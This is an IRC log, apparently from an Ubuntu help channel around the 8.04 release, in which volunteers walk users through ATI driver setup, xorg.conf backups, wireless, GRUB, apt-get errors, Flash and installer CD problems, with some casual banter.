[04:11] <carandraug> cory_: then there's no problem. That command simple inserts a module into the kernel. The error it gives is that it's already there
[04:11] <mrtech2122> i just downloaded a program.but cant figure out how to install it..the onlything i can do is extrack it..can someone lead me through the process?
[04:11] <carandraug> cory_: you're having any problem now?
[04:11] <ScheissDrogen> Theeb: reeinstalling it ?
[04:11] <prog077> I am a junior in the Linux system
[04:11] <prog077>  Some games do not work with me
[04:11] <prog077> and blender dosen't work
[04:11] <prog077> my vga is ATI Radeon 2100
[04:11] <prog077> 1Giga
[04:11] <cory_> carandraug: no. But it could crash. If it does I dont know what im going to do :)
[04:11] <FloodBot3> prog077: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[04:12] <Theeb> ScheissDrogen, the screen moves to quickly, i only spotted the [Fail] in the recovery mode
[04:12] <cory_> carandraug: I have my hopes up. if i disconnect you know what happened. How long will you be on?
[04:12] <favro> ScheissDroge1: I changed /etc.fstab and am rebooting it - thnx :)
[04:12] <favro> */etc/fstab
[04:12] <lu31415> ScheissDrogen: done, it says installation is complete, log file stored at blah, the driver will now be configured in basic mode, for advanced config run aticonfig..., if xserver fails to load, run... at the console
[04:13] <carandraug> cory_: let's hope not. I won't stay on for much longer (it's 4am here, I'm only at the computer because of your problem)
[04:13] <bobito> Theeb: Hold up, its an easy fix, I just gotta remember it
[04:13] <bobito> Theeb: MY internet used to suck, and itd happen all the time
[04:13] <cory_> carandraug: oh you are in europe
[04:13] <cory_> carandraug: Thanks for your dedication
[04:13] <carandraug> cory_: yeah. Portugal. But let's not go off-topic
[04:14] <Theeb> bobito, ok :)
[04:14] <nate__> hello everyone
[04:14] <ScheissDrogen> ﻿lu31415: k, remeber the sudo cp-cmd (maybe write down), if graphicalsys won't restart (then use terminal to cp it back) and now..
[04:14] <cory_> carandraug: give it 10 minutes.
[04:14] <lu31415> ScheissDrogen: I think i did get this far on a couple of occasions, but then i'd log on, and the screen would be blank - and i chose an option at startup to fix x, and things would be back to normal - colours would be off in all but one resolution, couldn't set refresh rate, no 3d...
[04:14] <bobito> Theeb: Can't find the webpage I usually use to double check, but here:
[04:15] <nate__> can someone tell me how to change the ubuntu icon on the menu bar (applications,places,system)
[04:15] <carandraug> cory_: in the mean time, pastebin "glxinfo | grep "direct rendering""
[04:15] <ScheissDrogen> Theeb: no errors at the up-cmd's ?  search /var/log log-files to figure that packet
[04:15] <cory_> carandraug: what is that?
[04:15] <bobito> Theeb: in console sudo apt-get install -f, sudo apt-get clean && apt-get autoclean, sudo apt-get update && apt-get upgrade
[04:16] <spinull> someone help me with grub
[04:16] <nate__> hello everyone
[04:16] <Theeb> thanks, ScheissDrogen and bobito .
[04:16] <bobito> Theeb: I think theres one more, but that should take care of it if I remember correctly.  If not, the terminal output should prolly tell the problem, and you'll just need to reinstall somethin
[04:16] <spinull> i hate big channels
[04:16] <nate__>  can someone tell me how to change the ubuntu icon on the menu bar (applications,places,system)
[04:16] <ScheissDrogen> ﻿lu31415: k, then : sudo /etc/init.d/gdm restart             (will log you off, cu soon, hopefully)
[04:17] <keppi> spinull:  Yes Sir!
[04:17] <Theeb> bobito, i get that :  E: Command line option ',' [from -f,] is not known.
[04:17] <nate__> i have looked for a couple ways to do it. no luck yet. i posted on a forum, and this seemed like the next best thing
[04:17] <spinull> im trying to get hte boot splash to view
[04:17] <carandraug> cory_: to check if it's ok and if you have 3D effects going fine
[04:17] <spinull> keppi: all i get is an error message
[04:17] <keppi> spinull:  what is the error message?
[04:17] <danbhfive> bobito: sudo apt-get clean && sudo apt-get autoclean       <--- that command is redundant
[04:17] <spinull> says it can't find the file
[04:17] <spinull> splashimage=(hd0,0)/boot/grub/splash.xpm.gz
[04:18] <nate__> if someone could pm me with any help that would be awesome
[04:18] <spinull> i used that line
[04:18] <spinull> however, my root partition is on /dev/hda5
[04:18] <bobito> danbhfive: Really?  damn, never knew
[04:18] <bobito> danbhfive: thanks
[04:18] <carandraug> cory_: also, run "glxgears" It should show you 3 cogs moving
[04:18] <spinull> so i also tried (hd0,4) also
[04:18] <cory_> carandraug: I crashed
[04:19] <nate__> or if you could tell me where to go for help i am willing to do that too
[04:19] <bobito> Theeb: 'sudo apt-get install -f' gave you an error?
[04:19] <carandraug> cory_: damn. Was it after running that command?
[04:19] <danbhfive> bobito: clean clears out _everything_    and autoclean only clears the old stuff.  But since you run clean first, there is nothing, so autoclean does nothing
[04:19] <cory_> carandraug: glxgears works fine.
[04:19] <ASrock> is anyone here using a wireless pci adapter that didnt reqire any drivers at all, just worked out of the box?
[04:19] <danbhfive> bobito: (thats the detailed explination)
[04:19] <cory_> carandraug: and no i never got to enter the command
[04:19] <justinpitts> the instructions at https://wiki.ubuntu.com/LiveUsbPendrivePersistent#Method%202:%20Copying%20the%20ISO%20CD%20image%20to%20the%20USB%20drive seem to be for Ubuntu v7, and mention a folder on the install named disctree, which is not present on the 8.04 iso i am using. am i missing something important here?
[04:19] <bobito> danbhfive: good to know
[04:20] <xomp> hmm, I'm unable to access my /var/www directory after installing LAMP :3 says I've no permissions :( How would I change such a thing?
[04:20] <spinull> any ideas
[04:20] <spinull> ?
[04:20] <lu31415> ScheissDrogen: ok, so i'll execute that last command now, and, if screen is blank at startup, do sudo cp (path to installer on desktop)?
[04:20] <Theeb> bobito, nvm i copied the whole thing lol
[04:20] <wizzer> 1400 x 1050, is that the highest resolution that ubuntu can go to?
[04:20] <carandraug> cory_: is this "crash" the one that gives you that text about "Out of range" in the monitor?
[04:20] <bobito> Theeb: sorry bout that : )
[04:20] <nate__> well...is there a cosmetic section for ubuntu?
[04:20] <ScheissDrogen> ﻿lu31415: nope, but..
[04:21] <carandraug> nate__: using Gnome?
[04:21] <nate__> yes

[04:21] <ScheissDrogen> ﻿lu31415:first copy your actual xorg.conf as a recovery-backup : sudo cp /etc/X11/xorg.conf  /etc/X11/xorg.borkbackup
[04:21] <cory_> carandraug: no its the one that goes "Whitescreen- HAHA you cant do anything now"
[04:21] <cew> haihai.....
[04:21] <nate__> i have tried there.
[04:21] <cew> siapo ini
[04:21] <nate__> i mean the icon in the panel will not change
[04:21] <ScheissDrogen> ﻿lu31415: reverse the two files
[04:21] <keppi> spinull:  Did you look in /boot/grub to see if the file exists?
[04:21] <spinull> yes
[04:21] <spinull> it does
[04:22] <nate__> its an ugly orange ubuntu icon. i made my own that fits my theme
[04:22] <nate__> and cannot replace it
[04:22] <Theeb> bobito, i get that error for the clean : E: Could not open lock file /var/lib/dpkg/lock - open (13 Permission denied)

[04:22] <goldmetal> how to configure the look and feel of evolution? is there a theme?
[04:22] <lu31415> ScheissDrogen: i've already executed that command, before the install, shall i do it again now, or afterwards, if it wont log on?
[04:23] <ScheissDrogen> ﻿lu31415:: ????
[04:23] <bobito> Theeb: use sudo
[04:23] <spinull> this is worthless
[04:23] <jeff_> good evening. have a question:  I've installed ms fonts and my desktop fonts look fine.  But inside some applicaitons (especially firefox) they're still looking bad.  Any ideas?
[04:23] <bobito> Theeb: Its just saying that without sudo, you don't have permission to use clean
[04:23] <ScheissDrogen> ﻿lu31415:: we did a backup once, if probs occur after logging out, you can cp it back with the last cp-cmd I gave you
[04:24] <ScheissDrogen> ﻿lu31415:: sudo cp /etc/X11/xorg.borkbackup   /etc/X11/xorg.conf
[04:24] <lu31415> ScheissDrogen: ok, that's what I mean :)
[04:24] <ScheissDrogen> ﻿lu31415:: hopefully won't need it
[04:24] <keppi> spinull:  Sorry, I don't know.
[04:24] <ScheissDrogen> ﻿lu31415: k, then : sudo /etc/init.d/gdm restart             (will log you off, cu soon, hopefully)
[04:24] <Theeb> bobito,  its weird, i used sudo
[04:24] <lu31415> ScheissDrogen: ok, thanks, hope to be back too!
[04:25] <danbhfive> Theeb: are you running another package manager?
[04:25] <lu31415> ScheissDrogen: (but somehow I have a bad feeling... bad karma, I think :))
[04:25] <jebblue> ﻿jeff_ I don't use the MS TTS fonts I use Bitream fonts
[04:25] <ripper> hi everyone
[04:25] <nate__> if anyone can help me with an icon customization please PM ME
[04:25] <danbhfive> Theeb: what are you trying to do anyway?
[04:26] <jebblue> ﻿jeff_ lol that's Bitstream
[04:26] <jeff_> jebblue: where do you get those?  I used MS fonts successfully on my old machine, but now I've upgraded and I can't get back to my old configuration
[04:26] <RediXe> Got my wireless almost working - I can select it, asked for passphrase but not getting an ip address
[04:26] <Theeb> danbhfive,  no im not running another package manager, im trying to fix a broken package that recovery mode reports but i dont know which one
[04:26] <goldmetal> i just created filter rule in evolution, where's the place to check all the filters created?
[04:26] <bobito> Theeb: you mean you typed 'sudo apt-get clean && sudo apt-get autoclean' and it still didn't work?  When i first typed it I lef tout the sudos, it was my bad
[04:27] <carandraug> cory_: I'm checking the ubuntu forums As I really don't know what else to do. ATI graphs cards are really a pain
[04:27] <xomp> !lamp
[04:27] <nate__> THEME HELP PLEASE PM ME!!!!!!!!!!!!
[04:27] <jebblue> ﻿jeff_ should be on Ubuntu by default. right click desktop then Change Background then Fonts and make them all Bitstream
[04:27] <ripper> does anyone here know of istallation probloms with sata drives b/c  during alturnate cd install it say it can not mount cd-rom
[04:27] <bobito> Theeb: And as dan pointed out, you apparently don't even have to type all that.  if sudo apt-get clean works, then thats all you need, instead of the whole big statement sudo apt-get clean && sudo apt-get autoclean
[04:27] <carandraug> cory_: http://ubuntuforums.org/showthread.php?p=3807451&highlight=200+xpress#post3807451  <-- same problem as you

[04:28] <wepeel> Hi all. I recently upgraded to Hardy...on 6.10 I used to plug my camera dock in, power on my camera and everything worked. Now, nothing at all. I can't even mount the volume. Any ideas?
[04:28] <danbhfive> Theeb: can you pastebin the error?
[04:28] <bobito> !ask nate_
[04:28] <bobito> damn

[04:28] <frostbyt3> Can someone please explain how to change the user name @ login?
[04:29] <wepeel> Worst part is, it shows up under the computer places (the camera), but I cannot access it nor my second hard drive, apparently
[04:29] <jeff_> jebblue:  Not bad, but yahoo.com still looks crappy to me.
[04:29] <frostbyt3> how can I change my password?
[04:29] <frostbyt3> admin password
[04:29] <carandraug> ScheissDrogen: some work, some don't. But to get an ATI card to work in linux is usually seen as harder. That doesn't mean some cards don't work fine
[04:29] <sk33t0r> how do I stream .wsx in ubuntu?
[04:30] <bobito> Theeb: Success?
[04:30] <jebblue> ﻿jeff_ it looks as good to me as it did on the other Os and that isn't saying much lol
[04:30] <RediXe> Any idea's on why I wouldn't get an IP address from my wireless?
[04:30] <mindrape> RediXe - sudo dhclient wlan0        does it give you an error?
[04:30] <jebblue> ﻿jeff_ you have to restart Firefox for some font changes
[04:30] <jeff_> jebblue: lol.  right.
[04:30] <sk33t0r> Unable to open 'mms://207.246.197.162/vod/PlayMovie.wsx? is the error message that I get in VLC media player

[04:31] <frostbyt3> huh?
[04:31] <jebblue> ﻿jeff_ in Yahoo?
[04:31] <bobito> Theeb: what happened?
[04:31] <Theeb> bobito, when i type sudo apt-get clean, nothing happens.
[04:32] <jeff_> jebblue: yes
[04:32] <jebblue> ﻿jeff_ I don't like their bold fonts either but that's their site
[04:32] <RediXe> No DHCPOFFERS received
[04:32] <mindrape> RediXe - sudo iwconfig wlan0         what does that say?
[04:32] <Flannel> Theeb: Nothing will show in the terminal, that means it doesn't have an error
[04:32] <mindrape> RediXe - you may need to sudo iwconfig wlan0 essid YOURSSID       and set the encryption and yada yada and then try dhclient again.
[04:32] <bobito> Theeb: after you type the command, do you get the $ icon again with the blinking cursor?
[04:32] <Theeb> bobito,  yes.
[04:33] <bobito> Theeb: the command apt-get clean doesn't give any output, see if everything works now
[04:33] <bobito> Theeb: cross your fingers : )
[04:33] <RediXe> mindrape - wmaster0: unknown hardware address type 801 .. that mean anything?

[04:34] <mindrape> RediXe - probably something bad. :P  Is this by chance a USB wireless device
[04:34] <tj83> frostbyt3,  passwd username

[04:34] <RediXe> mindrape - Nope, it's just a Dell Latitude D620 Laptop
[04:35] <jebblue> ﻿jeff_ right hand page, Options right click
[04:35] <mindrape> RediXe - lspci   does the wireless show up as identified appropriately?  Hows about lsmod?  Proper drivers loaded for it?
[04:35] <tj83> frostbyt3, assuming frostbyt3 is your system user name, then in terminal enter "sudo passwd frostbyt3 "

[04:35] <erpo> Hi. I'm trying to use the QCad drafting program to lay out some rental property. I'm beginning to get the hang of it, but I need to know the best way to represent walls. Lines don't work well because walls have thickness and lines don't.
[04:35] <lu31415> ScheissDrogen: back - didn't have to do anything to log on, but everything looks the same as before...
[04:36] <jeff_> jebblue:  sorry for being dim, but you lost me there
[04:36] <carandraug> cory_: crashed again?
[04:36] <jebblue> ﻿jeff_ See Mobil, Options sorry left click on options
[04:36] <cory_> carandraug: that problem isnt the same. I think im going to give up on linux until i get different hardware
[04:36] <frostbyt3> thanks guys!
[04:36] <cory_> carandraug: ive spent upwards on 20 hours on this.
[04:36] <danbhfive> hello?

[04:37] <jebblue> ﻿jeff_ Yahoo
[04:37] <tj83> cory_, i spend months before i got my hardware right... but then i found IRC :)
[04:37] <jebblue> ﻿jeff_ oh Mail
[04:37] <lu31415> ScheissDrogen: yes, they're there, and two of them: one has super-user in front of it, which one should i pick?
[04:38] <ScheissDrogen> ﻿lu31415: su
[04:38] <carandraug> cory_: you can always try different distros. I'm not an expert in this area so I can't be of much more help

[04:39] <mindrape> RediXe - well maybe wmaster0 is irrelevant as long as wlan0 is showing stuff properly.
[04:39] <mikejet> Where do I find the 32-bit version of -lstdc++ , for use on a x86_64 ubuntu?
[04:39] <lu31415> ScheissDrogen: hum, a warning window pops up: initialization error, there was a problem initializing catalyst contro center linux edition. It could be caused by the following: no ati graphics driver is installed, or the ati driver is not functioning properly. please install the ati driver appropriate for your ati hardware, of configure using aticonfig
[04:39] <mindrape> RediXe - the only thing is, does your access point use encryption?  I think some drivers have troubles connecting to an AP w WEP...
[04:39] <jeff_> jebblue: ok.  But that only affects yahoo mail, not the main page, right?
[04:40] <ScheissDrogen> ﻿lu31415: which monitor do you use ? exact (and not wrong) vendor&model ?
[04:40] <carandraug> ScheissDrogen: you said you got your ATI working fine. Do you mind giving cory_ a hand on it. He's having some problems with it.
[04:40] <jebblue> ﻿jeff_ yes
[04:40] <cory_> carandraug: i have. Linux hates my hardware
[04:40] <RediXe> mindrape - not my wireless (staying with someone) but yes it does have a passphrase key to connect (got the key)
[04:40] <fenfencantik> i want to share something
[04:40] <jebblue> ﻿jeff_ for that site might be best to look on their site for more help

[04:53] <HardDisk> Hazarath, this is a voluntary channel, if anyone here can help, they will.
[04:53] <carandraug> ScheissDrogen: yeah. I know. It can take much more if you're a complete begginer and had never heard of IRC before (like me one year ago)
[04:53] <lu31415> ScheissDrogen: i just executed the first command you typed, not the second

[04:54] <Shout1> ﻿Prose: no
[04:54] <danbhfive> justinpitts: another option would be to use an older version of ubuntu.  That was you can stay true to the directions.  Then, just upgrade using the built in systems

[05:06] <johninlex> would 6ghz be ok to

[05:06] <SuperQ> angusthefuzz: highmem is for PAE extensions in 32bit mode

[05:07] <justinpitts> danbhfive: hmm. those instructions seem to be a corrective action if you tried to use the alternative cd/iso, but I am using the standard distro
[05:07] <SuperQ> For most users, a hybrid 64bit/32bit kernel would be good enough
[05:08] <Prose> Shout1: open a terminal and type           lspci

[05:08] <SuperQ> johninlex: run the "free" command
[05:08] <angusthefuzz> johninlex: unless you have some crazy intensive work going on, you might not reach the point where you would need swap
[05:08] <SuperQ> johninlex: You'll see the diff in 32bit
[05:09] <SuperQ> johninlex: Most people won't see a difference, mostly because they don't run anything that really needs a lot of ram
[05:09] <angusthefuzz> highmem is still faster than swap *grumbles*
[05:09] <SuperQ> johninlex: I run some complex servers that need 16G of ram for one copy of an application
[05:09] <SuperQ> angusthefuzz: Yup, which is why we used a bunch of those servers at work a while ago

[05:12] <johninlex> justjoe are you able to use anyother wireless driver
[05:12] <danbhfive> justinpitts: it looks like you are just setting the drive up to be bootable, and then start up a disc image, that you copy to the drive.  I don't think it matters which image you copy to the drive, as long as it is 32bit

[05:12] <ScheissDrogen> ﻿lu31415: after that, try to set monitor again
[05:12] <justinpitts> none of them present a problem, per se. the last one you suggested wasnt quite relevant - it was a fix for someone who needed kernel support for vaft/ext filesystems. I got the plain old kernel image from the normal iso, not the alternative cd, so the kernel i have already supports those filesystems
[05:13] <angusthefuzz> johninlex: if you dont use the extra ram, some servers allow for redundant ram, in case some of your sticks go bad

[05:15] <lucas_> mgonzalez, one way its editing the theme... placing specific icons with same name re pleasing icons of an original theme until you have them all like you want... once in /usr/share/icons edit permissions you other users can read them and owned by root...

[05:31] <danbhfive> zacha woops, its ls -al /dev/disk/by-uuid/
[05:31] <nathanielneall> lucas, when ever i go to a website with an embedded flash item its just a blank beige square
[05:32] <lucas_> nathanielneall, reinstall flashplugin-nonfree
[05:33] <ScheissDrogen> banbhfive: or simply blkid
[05:33] <zefyr> domain brokers deserve to be shot
[05:34] <danbhfive> ScheissDroge nice
[05:34] <nathanielneall> lucas, is that in medibuntu?
[05:34] <nathanielneall> it just started like10 mins ago
[05:34] <ScheissDrogen> ﻿ nathanielneall: lucas not medibuntu
[05:34] <earthsound> i'm looking for a way to install flash 10 via apt-get, so I followed the instructions at http://packages.ubuntu.com/hardy-backports/web/flashplugin-nonfree to add the backport, but it installs 9.0.124 instead. is 10.x available in backports?
[05:34] <justinpitts> danbhfive: (and others) thanks for your help. gonna crash for the evening. I know I am at least started down the right path.
[05:35] <lucas_> nathanielneall, nope no medibuntu its in ubuntu repos
[05:35] <danbhfive> justinpitts: take care, and good luck
[05:35] <nathanielneall> i go a suggestion from firefox: "try using element.getboundingclientrect() if possibe"
[05:35] <ScheissDrogen> ﻿earthsound:backports is more recent back-ported
[05:36] <lucas_> nathanielneall, you know how to re install flashplugin-nonfree??
[05:36] <nathanielneall> whats the package name in synaptic?
[05:36] <lucas_> flashplugin-nonfree nathanielneall
[05:36] <earthsound> ScheissDrogen: yes, that's what I thought. however, at that URL, it says that it's flashplugin-nonfree (10.0.1.218+10.0.0.525ubuntu1~hardy1+really9.0.124.0ubuntu2) [multiverse]
[05:37] <earthsound> how do I get 10.x from backports?
[05:37] <nathanielneall> mark for reinstal or uninstal then add again?
[05:37] <lucas_> nathanielneall, reinstall
[05:38] <zacha> danbhfive: http://pastebin.com/d377a9b7b
[05:38] <nathanielneall> same problem
[05:38] <lu31415> ScheissDrogen: rebooted, before logon it said something about looking for an image, couldn't find one, and then prompted me to choose monitor and video card - i tried selecting my monitor, leaving the card unchanged (it was set to something generic), tested it, the screen was garbled, so canceled the changes, and booted with generic settings for both...
[05:39] <zacha> I just read the etiquette sorry
[05:39] <nathanielneall> lucas, nothings changed
[05:41] <ScheissDrogen> ﻿lu31415: k, then : sudo apt-get update && sudo apt-get upgrade && sudo  apt-get install linux-ubuntu-modules-$(uname -r)

[05:52] <Flannel> rams666: You're doing it through wine? or what?
[05:52] <ScheissDrogen> ﻿lu31415: I'm getting tired now, several ways to proceed : edit xorg.conf manually by getting info of monotor (Hor/vert refresh, resolution) from displayconblabla or from /var/log/xorg.0.log,  reinstall the driver or... see you in few hours, youll need fglrx and a configured monitor, your hardware is well supported..
[05:53] <lu31415> ScheissDrogen: ok, thanks for all your help - i'll try, and if to no success, i'll come back
[05:53] <rams666> can any one please help me in how to install java runtime plugin for IE in Feisty Fawn?

[05:54] <ASrock> rams666: are you running IE in wine or what?
[05:54] <rams666> yes, i am running on wine only
[05:54] <ljsoftnet> rams666: why use IE, when you have firefox
[05:54] <cheeky> Flannel: The /etc/sysctl.conf file
[05:55] <Flannel> rams666: You should ask in #winehq, they'll be able to help you more than we can.
[05:55] <ASrock> i agree with ljsoftnet firefox is way way way better than ie
[05:55] <rams666> some sites requires IE
[05:55] <cheeky> Flannel: toimprove your bandwidth appearently
[05:55] <|YESH|a|> IE7/IE8 suck ass
[05:55] <|YESH|a|> IE6 > firefox.

[05:55] <|YESH|a|> although firefox handles JS faster
[05:55] <|YESH|a|> IE6 uses less ram
[05:55] <Flannel> !offtopic
[05:55] <ScheissDrogen> will be here again in 16 hours, but your isuue is very familar in the channel ,  lu31415
[05:55] <ASrock> i havent even tried ie8 yet, i only use ie7 cuz thats what the school has
[05:55] <phantomcircuit_> RockShox, you sure your monitor supports the resolution?
[05:56] <RockShox> yes
[05:56] <phantomcircuit_> does it show other resolutions above 800x600?
[05:56] <Hazarath> Need help installing ubuntu. Tried verifiying my image on 3 diffrent ROMs, I still get this error: http://img207.imageshack.us/img207/6452/pict0067ba4.jpg
[05:56] <RockShox> it shows up to 1280 or something
[05:56] <RockShox> its an lcd the native res is 1600
[05:56] <hyperair> does anybody know how to get networkmanager to automatically connect to a network with hidden ssid?
[05:56] <Flannel> Hazarath: When verifying?  Also, is this Desktop or Alternate CD?
[05:56] <cheeky> does any one know of agood guide for ppl who just migrated to ubuntu and need to setup their system for teh first time ?
[05:56] <lu31415> ScheissDrogen: ok, and thanks again for all your help and time - I really do appreciate it :)
[05:56] <Red13> I have no sound with usb headset how do I check what sound server is running plz
[05:57] <Hazarath> Flannel, Desktop.
[05:57] <phantomcircuit_> Hazarath, first of all do you even think it will run worth a damn on that system?
[05:57] <Flannel> cheeky: try https://help.ubuntu.com/
[05:57] <ASrock> Hazarath: have you tried burning another disk?
[05:57] <Flannel> Hazarath: try the alternate CD.  And also, Is this when you're trying to verify the CD? or boot to the live system?
[05:57] <Hazarath> phantomcircuit, it's a 2.93Ghz system, with 1GB of RAM.
[05:57] <phantomcircuit_> Hazarath, also are you verifying the cd
[05:57] <ScheissDrogen> np, first steps are most ugly, lol , see you later, aligator
[05:57] <ASrock> Hazarath: at slowest possible speed
[05:57] <lu31415> ScheissDrogen: i'm off to bed, if that's the case as well - I wish a very pleasant night's sleep :)
[05:58] <Hazarath> Flannel, that error comes from the install.
[05:58] <earthsound> Hazarath: did you see this? http://www.linux-noob.com/forums/index.php?showtopic=3051
[05:58] <phantomcircuit_> RockShox, not sure what to say, id guess that your monitor is lying about the resolution's it is capable of or something odd like that
[05:58] <Flannel> Hazarath: Can you verify the CD successfully?
[05:58] <lu31415> g'night all, see you later ;)
[05:58] <hams_> can anyone help with wireless drivers? it seems like the card is detected but wlan0 doesn't come up?
[05:58] <Hazarath> Flannel, yes, 3 times.
[05:58] <RockShox> who cares what the monitor says
[05:58] <RockShox> i put the lines in the xorg.conf
[05:58] <RockShox> this works fine in freebsd and windows
[05:59] <Flannel> Hazarath: and it verified?
[05:59] <Gun_Smoke> Hazarath, What program are you burning the image with?
[05:59] <hyperair> does anybody know how to get networkmanager to automatically connect to a network with hidden ssid?
[05:59] <Hazarath> Gun_Smoke, some free image burner I found.
[05:59] <Jordan_U> hyperair: Right click -> Edit Connections
[06:00] <Hazarath> Flannel, yes, all three times.... I even used a 4th to test install on another computer, it loaded the GUI.
[06:00] <Flannel> Hazarath: Alright.  Try the alternate CD instead.  Obviously its not a bad burn.
[06:00] <earthsound> Hazarath: from the URL I pasted above, someone had a similar problems as yours
[06:00] <earthsound> the solution was "After poking around with Varjagy in the IRC channel we were able to assist him to get this working. The permissions error was due to the LiveCD starting a shell with user permissions and not root. Using sudo su - we got in. Then a straight cd /mnt/crap/bin && ln -s dash sh and we were sorted. Yay! "
[06:00] <hyperair> Jordan_U: it's listed as one of the networks, but after resuming/starting up, it doesn't automatically connect
[06:00] <Gun_Smoke> Hazarath, I second the alternate CD
[06:00] <Hazarath> Flannel, questoin, tough... what's the diff? Why use an alternate?
[06:01] <|YESH|a|> I had to use alternate CD as well, then just installed ubuntu-desktop afterward
[06:01] <Flannel> Hazarath: Alternate CD isn't a liveCD.  It also uses a different installer.
[06:01] <Gun_Smoke> Hazarath, It's a text based installer.
[06:01] <Hazarath> Flannel, Alright... another 3 hours, yay.
[06:01] <Flannel> |YESH|a|: you could have just installed the desktop from the liveCD.  Its even default.
[06:01] <phantomcircuit_> Hazarath, the alt cd just makes the installer an installer and not a live cd
[06:01] <|YESH|a|> Flannel: I was unable.
[06:01] <|YESH|a|> crashed every time.
[06:02] <Flannel> |YESH|a|: because of package issues?
[06:02] <cheeky> can any one tel me how to get my codec all working in order i just installed ubuntu; this is wat i did for the codec on my machine :  "sudo apt-get install ubuntu-restricted-extras". would this cover it or do i need to get more.. is this the right way ?
[06:02] <|YESH|a|> tried alternate, worked first time
[06:02] <Gun_Smoke> Hazarath, slow network?
[06:02] <Flannel> |YESH|a|: er, sorry.  I meant desktop from the alternate CD.
[06:02] <Hazarath> Gun_Smoke, 1MB connection, in the sticks.
[06:02] <|YESH|a|> alternate cd installs desktop? *shrugs* just took 15 minutes to apt-get
[06:03] <Flannel> |YESH|a|: yes.  Alternate CD installs, by default, the same system the desktop CD installs
[06:03] <Gun_Smoke> Hazarath, that isn't bad.  Get the torrent.
[06:03] <Hazarath> Flannel, so... it'll be the same Ubuntu, it'll just install diffrent?
[06:04] <Flannel> Hazarath: It installs Ubuntu, yes.
[06:04] <Gun_Smoke> Hazarath, I also suggest http://infrarecorder.sourceforge.net/ to burn the image.
[06:04] <Jordan_U> Hazarath: Don't complain about a 1MB connection :)
[06:05] <Hazarath> Jordan_U, I'm not... lucky to have bandwith like this 60 miles from the closest node, haha.
[06:05] <balz> how do i add a printer with CUPS?
[06:06] <Jordan_U> balz: If it's USB, plug it in :)
[06:06] <Gun_Smoke> Hazarath, for 386 http://releases.ubuntu.com/8.04/ubuntu-8.04.1-alternate-i386.iso.torrent
[06:06] <Hazarath> Flannel, worse case... if Alternate [that's downloading] fails... what next?
[06:06] <phantomcircuit_> um
[06:06] <phantomcircuit_> well you can get them from torrents
[06:06] <balz> Jordan_U:  sorry i should have specified.  I'm trying to share the printer on the local network.
[06:06] <phantomcircuit_> so if the download fails
[06:06] <Hazarath> Gun_Smoke, already downloading.
[06:06] <phantomcircuit_> get a torrent
[06:06] <|YESH|a|> oh wait, I didn't install alternate, I installed -server
[06:07] <|YESH|a|> I thought that's what you meant by alternate, didnt know there was a whole other branch
[06:07] <balz> Jordan_U:  also, it's on a server install... do i need to download drivers?
[06:07] <phantomcircuit_> |YESH|a|, no the alternative installer is a text based installer that is not a live cd
[06:07] <Jordan_U> balz: I don't know, sorry
[06:07] <cheeky> could any one help me this is regard codecs installation and i posted my problem up here before ?
[06:08] <balz> Jordan_U:  no worries! thanks anyway!
[06:08] <balz> How do I add a printer to be shared on the local network with CUPS?
[06:08] <|YESH|a|> i see, I get it now, when the live cd failed for me i installed -server
[06:08] <Gun_Smoke> |YESH|a|, I've done that.. back at 6.06 I think.
[06:08] <Jordan_U> |YESH|a|: Alternate install CD uses the same installer as the server install ( debian's )
[06:08] <Rostropovich> Hi all
[06:09] <infolock> whenever someone has a moment, would anyone be willing to explain why i can't find the VMWare packages in the new 8.04 package manager, and how i might go about setting it up for ubuntu 8.04 ?  thnx (newbie here)
[06:09] <phantomcircuit_> Hazarath, when your download finishes i suggest you also download the torrent
[06:10] <phantomcircuit_> then replace the file that your bittorrent client produces with the file you downloaded over http
[06:10] <phantomcircuit_> that way it will check the file for integrity
[06:10] <chalcedony> if xsane is missing the help file AND won't open with the full screen on the preview window, and only scans about 40% of the page.. would a fresh install help ? and can someone walk me through doing that please? (adult wih learning disabilities)
[06:10] <phantomcircuit_> and automagically repair it if there are problems from downloading
[06:10] <hams_> how do i add packages from cafuego to a system manually ?
[06:10] <Jordan_U> phantomcircuit_: You could also just check the md5sum
[06:10] <phantomcircuit_> chalcedony, xsane doesnt have it
[06:11] <phantomcircuit_> Jordan_U, yeah but would that automagically fix it?
[06:11] <phantomcircuit_> not to mention if he's on windows good luck explaining how to do that
[06:11] <sely> exit
[06:11] <|YESH|a|> easy
[06:11] <chalcedony> phantomcircuit: oh.. ok what would make the preview window be there .. but blank?
[06:11] <|YESH|a|> //echo $md5(c:\path\to\filename)
[06:11] <|YESH|a|> :P
[06:11] <phantomcircuit_> he's using xchat
[06:12] <phantomcircuit_> not mIRC
[06:12] <phantomcircuit_> fail :P
[06:12] <|YESH|a|> *shrugs* nobody is perfect
[06:12] <phantomcircuit_> chalcedony, no idea
[06:12]  * phantomcircuit_ is ;)
[06:12] <chalcedony> sigh
[06:12] <chalcedony> there is really not much out there about a broken xsane
[06:12] <phantomcircuit_> possibly it's stalled?
[06:12] <kc8pxy> is there any nice way to fit a livecd/installer for 8.04.1 on a usb stick?
[06:12] <chalcedony> how to un-stall it?
[06:12] <Zelbinian> I repartitioned my hdd with Gparted to make room for a Windows install. Windows won't install on the empty partition ("doesn't meet qualifications?") and now grub isn't loading ubuntu. Error code 17, I think it was.
[06:12] <phantomcircuit_> normal add/remove programs
[06:13] <infolock> kc8pxy: you could always download the network installation for it
[06:13] <Gun_Smoke> chalcedony, is this your first attempt with xsane? or was it working before?
[06:13] <kc8pxy> Zelbinian:  use a livecd, and install grub via chroot :)
[06:13] <phantomcircuit_> Zelbinian, that's why you do it in the other order
[06:13] <infolock> the one that installs the minimum and then you download and go via net
[06:13] <kc8pxy> infolock: download it to where?
[06:13] <Zelbinian> I'm on a live CD now
[06:13] <chalcedony> Gun_Smoke: it always worked... sometimes the preview window vanished but it's always worked even when i can't print
[06:13] <Zelbinian> How do I "install grub via chroot"
[06:14] <phantomcircuit_> Jordan_U, and i suggested the torrent thing mostly because i assume that he's going to have a corrupt download
[06:14] <infolock> live cd is...well, a cd installation i thought
[06:14] <kc8pxy> infolock:  fubar existing os,  broken cd drive.
[06:14] <infolock> but not on hd
[06:14] <infolock> just runs off cd
[06:14] <infolock> ahh that sux
[06:14] <phantomcircuit_> kc8pxy, sure
[06:14] <infolock> cd drives are cheap
[06:14] <kc8pxy> infolock:  so i have 2 solutions left..   usb stick..  or install via ltsp :-/
[06:14] <infolock> buy a new one for 30 bucks
[06:14] <phantomcircuit_> yeah seriously like 30$
[06:14] <infolock> done
[06:15] <kc8pxy> phantomcircuit_:  got a howto?
